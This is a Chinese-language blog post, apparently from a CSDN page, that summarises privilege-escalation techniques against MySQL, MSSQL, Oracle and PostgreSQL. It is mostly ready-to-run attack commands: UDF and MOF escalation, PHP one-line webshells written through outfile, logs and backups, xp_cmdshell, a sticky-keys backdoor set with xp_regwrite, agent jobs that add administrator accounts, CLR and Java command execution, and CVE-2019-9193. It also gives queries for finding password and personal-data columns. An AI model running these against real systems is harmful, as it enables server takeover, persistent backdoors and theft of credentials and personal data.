数据库提权总结


MySQL

0x01 UDF提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充。

假设UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下(当MySQL>5.1,该目录默认不存在)。在 udf.dll 文件中,定义名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是现在打开 MySQL 命令行,使用 select sys_eval('whoami');的话,系统会返回 sys_eval() 函数未定义。因为仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类是用不了的。

所以,应该把 udf.dll 中的自定义函数引入进来,官方文档语法:

create function sys_eval returns string soname 'udf.dll';
// function_name(函数名) shared_library_name(共享包名称)

注:

  1. 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  2. 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建,可用NTFS ADS流模式突破进而创建文件夹)。

利用条件:

  1. secure-file-priv 不为NULL
  2. 存在\lib\plugin目录

利用步骤:
确定secure_file_priv参数,值为NULL则无法提权:

secure_file_priv 是用来限制 load dumpfileinto outfileload_file() 函数在哪个目录下拥有上传或者读取文件的权限.

show global variables like '%secure%';
值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

PS:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;创建远程登陆用户并授权。
在这里插入图片描述
secure_file_priv 的值可以在MySQL数据库的安装目录的 my.ini 文件中配置:
没有具体值,则可以写入导出文件:
在这里插入图片描述
确定mysql版本,对应udf.dll版本:

show variables like "%version%";

在这里插入图片描述

这里的udf文件使用的sqlmap自带的,为了防止误杀做过编码,需要先经过解码:

python3 cloak.py -d -i D:\tools\sqlmap-master\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

sqlmap中的udf文件提供的函数:

sys_eval	// 执行任意命令,并将输出返回。
sys_exec	// 执行任意命令,并将退出码返回。
sys_get		// 获取一个环境变量。
sys_set		// 创建或修改一个环境变量。

将udf.dll代码的16进制数声明给my_udf_a变量:

use mysql;
set @my_udf_a=concat('',dll的16进制);

在这里插入图片描述

建表my_udf,字段为data,类型为longblob,并将@ my_udf_a变量插入表my_udf_data:

create table my_udf(data LONGBLOB);
insert into my_udf values("");update my_udf set data = @my_udf_a;

在这里插入图片描述
查看udf.dll的导出路径:

show variables like '%plugin%';

在这里插入图片描述
将udf.dll导出:

select data from my_udf into DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/udf.dll';

创建cmd function,创建好的函数在mysql.func表中可以看到:

create function sys_eval returns string soname 'udf.dll';

命令执行:

select sys_eval('whoami');

在这里插入图片描述
清除痕迹:

drop function sys_eval; // 删除函数
delete from mysql.func where name='sys_eval'  // 删除函数

0x02 MOF提权

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用有了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

提权过程:

  1. 将mof上传至任意可读可写目录下,例如到C:\TEMP\下命名为:eval.mof。也就是:C:\TEMP\eval.mof
  2. 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行这个恶意的mof文件。
  3. 替换的sql语句:select load_file('C:\TEMP\eval.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

利用条件:

  1. secure-file-priv参数为空
  2. mysql服务权限为管理员
  3. 目标系统是windows 2003及以下版本。

利用步骤:
生成mof文件:

pace("\.rootsubscription")

instance of **EventFilter as $EventFilter{    EventNamespace = "RootCimv2";    Name  = "filtP2";    Query = "Select * From **InstanceModificationEvent "
            "Where TargetInstance Isa "Win32_LocalTime" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

导入nullevt.mof文件:

select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile 'c:/Windows/system32/wbem/mof/nullevt.mof';

几分钟后便添加新账户。


0x03 写入Webshell

写入webshell到网站目录
利用条件:

  1. secure-file-priv参数为空或者为网站根路径
  2. 知道网站的绝对路径
  3. 用户具有写权限

查看当前用户是否具有写权限:

select user,file_priv from mysql.user;

写入一句话木马到网站目录:

select '<?php eval($_REQUEST[8]);?>' into outfile 'C:/phpstudy/PHPTutorial/WWW/shell.php';

写入webshell到全局日志general_log
利用条件: 知道网站的绝对路径

开启general_log:

set global general_log='on';

设置日志存放位置:

SET global general_log_file='C:/phpstudy/PHPTutorial/WWW/shell.php';

写入一句话到日志文件:

select '<?php eval($_REQUEST[8]);?>';

写入webshell到慢查询日志
利用条件: 知道网站的绝对路径

开启慢查询日志:

set global slow_query_log=1;

设置日志存放位置:

set global slow_query_log_file='C:/phpstudy/PHPTutorial/WWW/shell.php';

写入一句话到慢查询日志文件:

select '<?php eval($_REQUEST[8]);?>' or sleep(11);

注:

  1. 因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志;
  2. 一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%'

在这里插入图片描述

0x04 常用语句

查看数据库连接情况:

show processlist;

在这里插入图片描述
xx 库中所有字段名带 pass|pwd 的表:

select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%"

在这里插入图片描述
获取web应用账号密码:

select * from 库名.表名

查看xx 库中所有表,按字段数排序:

select table_name,table_rows from information_schema.tables where table_schema='xx' order by table_rows desc;

在这里插入图片描述
查看xx 库中所有字段名带个人信息的表:

select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名"

在这里插入图片描述


MSSQL

0x01 xp_cmdshell提权

利用条件:

  1. 通常在拿到sa口令之后,可以通过xp_cmdshell来进行提权(xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除)
  2. 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权。(sql server默认就是system权限)

利用步骤:
判断当前是否为DBA权限,为1则可提权:

select is_srvrolemember('sysadmin');

在这里插入图片描述
开启xp_cmdshell组件(1开启,0关闭,关闭时从下往上依次关闭):

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

在这里插入图片描述
xp_cmdshell执行系统命令:

exec master..xp_cmdshell whoami;

在这里插入图片描述
关闭组件:

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE

0x02 sp_oacreate提权

利用条件:

  1. 已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权)
  2. OLE Automation Procedures选项开启

sp_oacreate系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod系统存储过程调用系统wscript.shell来执行系统命令。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言。

利用过程:
判断当前是否为DBA权限,为1则可以提权:

select is_srvrolemember('sysadmin');

开启Ole automation procedures:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;

在这里插入图片描述
wscript.shell组件:

declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

在这里插入图片描述
com组件:

declare @luan int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output
exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

在这里插入图片描述
关闭组件:

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;

0x03 xp_regwrite提权

利用条件:

  1. 未禁止注册表编辑(即写入功能)
  2. xp_regwrite启用

通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持。

利用步骤:
开启组件:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',1;
RECONFIGURE;

利用regwrite函数修改组注册表进行劫持,写入粘滞键后门并开启3389:

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"

检查是否劫持成功:

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

在这里插入图片描述

删除粘滞键键值:

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'

0x04 JobAgent提权

利用条件:

  1. 拥有DBA权限
  2. 需要sqlserver代理(sqlagent)开启

创建一个任务task,并执行命令。

利用步骤:
尝试开启sqlagent:

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

利用任务计划命令执行(无回显):

USE msdb;
EXEC dbo.sp_add_job @job_name = N'task'
EXEC sp_add_jobstep @job_name = N'task', @step_name = N'task', @subsystem = N'CMDEXEC', @command = N'net user hack hack /add &net localgroup administrators hack /add', @retry_attempts = 1, @retry_interval = 5
EXEC dbo.sp_add_jobserver @job_name = N'task'
EXEC dbo.sp_start_job N'testjob';

0x05 CLR提权

CLR(公共语言运行时)提供了 .NET Framework 的代码执行环境,可以通过 .NET Framework 来编写存储过程、触发器等功能 。简单说,通过 CLR 能够在 SQLServer 中注册一套程序集,实现执行任意的 .NET 代码。既然可以执行代码,此时就可以实现很多功能。

利用条件:

  1. 拥有DBA权限;
  2. 开启CLR。

mssql中的C#扩展,有点像mysql中的udf提权

利用步骤:
尝试开启CLR:

exec sp_configure 'show advanced options','1';
reconfigure;
exec sp_configure 'clr enabled','1';
reconfigure;
exec sp_configure 'show advanced options','1';

导入CLR插件:

CREATE ASSEMBLY [MDATKit]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;

https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt(16进制dll)
创建CLR函数:

CREATE PROCEDURE [dbo].[kitmain]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [MDATKit].[StoredProcedures].[kitmain]

命令执行:

exec kitmain 'cmdexec',N'whoami'

0x06 写入webshell

差异备份写入webshell
利用条件:

  1. 拥有DBA权限
  2. 知道的网站绝对路径

判断当前是否为DBA权限,为1则可以提权:

select is_srvrolemember('sysadmin');

利用差异备份写入一句话:

backup database 库名 to disk = 'C:\\phpStudy\\PHPTutorial\\WWW\\back.bak';
create table cybk([cmd] [image]);
insert into cybk(cmd)
vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
backup database library todisk='C:\\phpStudy\\PHPTutorial\\WWW\\cybk.php' WITHDIFFERENTIAL,FORMAT;

日志备份写webshell
利用条件:

  1. 拥有DBA权限
  2. 知道的网站绝对路径
  3. 数据库已经备份过

使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式

首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,相比较差异备份而言,使用Log备份文件会小的多。

判断当前是否为DBA权限,为1则可以提权:

select is_srvrolemember('sysadmin');

利用存储过程写入一句话(将WebShell的代码转换成ASCII码):

alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'c:\\' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'C:\\phpStudy\\PHPTutorial\\WWW\\cybk.php'

0x07 沙盒提权

利用条件:

  1. 拥有DBA权限
  2. sqlserver服务权限为system
  3. 服务器拥有jet.oledb.4.0驱动

利用步骤:
修改注册表,关闭沙盒模式

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

命令执行

Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("whoami")');

0x08 常用语句

查看xx数据库连接的IP

select DISTINCT client_net_address,local_net_address from sys.dm_exec_connections where Session_id IN (select session_id from sys.dm_exec_Sessions where host_name IN (SELECT hostname FROM master.dbo.sysprocesses WHERE DB_NAME(dbid) = 'xx'));

在这里插入图片描述
查询xx 库中所有字段名带 pass|pwd 的表:

select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%')

在这里插入图片描述
获取WEB应用账号密码

select * from [库名].[dbo].表名

查询xx 库中所有表,按字段数排序

SELECT a.name,b.rows FROM xx..sysobjects a INNER JOIN xx..sysindexes b ON a.id=b.id WHERE b.indid IN(0,1) AND a.Type='u' ORDER BY b.rows DESC

在这里插入图片描述
查询xx 库中所有字段名带个人信息的表

select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%')

在这里插入图片描述


Oracle

0x01 创建java函数提权

利用条件:
dba权限

利用步骤:
使用sqlplus连接(用navicat复现不成功):

system/system@192.168.1.12:1521/orcl

赋权:

begin dbms_java.grant_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete' );end;
/

在这里插入图片描述
创建java代码:

create or replace and compile java source named exe_linux as
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.UnknownHostException;
public class Test
{
public static String list_cmd(String str){
    Runtime runtime=Runtime.getRuntime();
  StringBuffer enco = new StringBuffer();
  enco.append("GBK");
  try{
  Process proc =runtime.exec(str);
  InputStream inp_suc=proc.getInputStream();
  InputStream inp_err=proc.getErrorStream();
  BufferedReader bfr_err = new BufferedReader(new InputStreamReader(inp_err,enco.toString()));
  BufferedReader bfr_suc = new BufferedReader(new InputStreamReader(inp_suc,enco.toString()));
    String strLine;
      while( (strLine=(bfr_suc.readLine())) != null){
     
      System.out.println(strLine);
          }
  while( (strLine=(bfr_err.readLine())) != null){
     
    System.out.println(strLine);
    }
        proc.destroy();
        inp_suc.close();
        inp_err.close();
    }catch (Exception e) {
      System.out.println("EXECUTE IS ERROR!");
      System.out.println(e.getMessage());
    }
    return "";
  }
     
  /* public static void main(String[] args){
     
      list_cmd(args[0]);
    }
    **/
}

/

在这里插入图片描述
创建存储过程:

create or replace procedure p_exe_linux(str varchar2) as language java
name 'Test.list_cmd(java.lang.String)';
/

在这里插入图片描述
命令执行:

SET SERVEROUTPUT ON
exec dbms_java.set_output(1111111111111);
EXEC P_EXE_LINUX('whoami');

在这里插入图片描述

0x02 写入webshell

利用条件:
dba权限

利用步骤:
首先建立一个ORACLE的目录对象指向网站目录:

create or replace directory IST0_DIR as 'C:/temp';

写入webshell文件:

declare
   isto_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
   isto_file := utl_file.fopen('IST0_DIR', 'webshell.php', 'W'); --指定为IST0_DIR 目录下面的
   utl_file.put_line(isto_file, '<?=phpinfo();');  --写入字符串
   utl_file.fflush(isto_file); --刷新缓冲
   utl_file.fclose(isto_file); --关闭文件指针
end;

在这里插入图片描述
写入之后可以使用读操作把写入的文件内容读出来(需要使用sqlplus连接,因为Oracle 的DBMS_OUTPUT.PUT_LINE语句在Navicat中没有显示结果的窗口 ):

set serveroutput on;
declare
   isto_file utl_file.file_type; 
   fp_buffer varchar2(4000); 
begin
   isto_file := utl_file.fopen('IST0_DIR', 'webshell.php', 'R'); 
   utl_file.get_line (isto_file , fp_buffer );  --读取一行放到  fp_buffer 变量里面
   dbms_output.put_line(fp_buffer);--在终端输出结果看看
   utl_file.fclose(isto_file); 
end;

在这里插入图片描述

0x03 常用语句

查看用户数据库连接的IP:

select username,program,machine,client_info,sys_context('userenv','ip_address') as ipadd from v$session s where username is not null order by username,program,machine;

在这里插入图片描述
用户库中所有字段名带 pass|pwd 的表:

SELECT * FROM USER_TAB_COLUMNS WHERE column_name LIKE '%PASS%' OR column_name LIKE '%PWD%';

在这里插入图片描述
获取web应用账号密码:

SELECT * FROM 库名.表名;

用户库中所有表,按字段数排序:

select t.table_name,t.num_rows from user_tables t ORDER BY NUM_ROWS DESC;

在这里插入图片描述
用户库中所有字段名带个人信息的表:

SELECT * FROM USER_TAB_COLUMNS WHERE regexp_like(column_name,'NAME|PHONE|MOBILE|CERTIFICATE|NUMBER|EMAIL|ADDR|CARD|电话|地址|身份证|姓名')

在这里插入图片描述


PostgreSQL

0x01 写入webshell

利用条件:

  1. 拥有网站路径写入权限
  2. 知道网站绝对路径

利用步骤:
写入webshell到网站目录:

copy  (select '<?php phpinfo();?>') to 'C:/temp/1.php';

在这里插入图片描述

0x02 CVE-2019-9193 高权限命令执行漏洞

利用条件:

  1. 版本9.3-11.2
  2. 超级用户或者pg_read_server_files组中的任何用户

这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要说明的是,上述两种情形下都需要用户是一个超级用户或者是pg_read_server_files组用户

利用步骤:

DROP TABLE IF EXISTS cmd_exec;	// 删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text);	// 创建用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'whoami';	// 执行系统命令
SELECT * FROM cmd_exec;	// 结果显示

在这里插入图片描述


参考链接:
http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_3556.html(三大数据库写入webshell)
https://blog.csdn.net/qq_36119192/article/details/84863268(Mysql UDF提权执行系统命令)
https://www.cnblogs.com/N0r4h/p/12889944.html(MSSQL提权)
https://mp.weixin.qq.com/s/VgXOXVl-Bx2Vi8BYxdx3CA(数据库提权)


  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值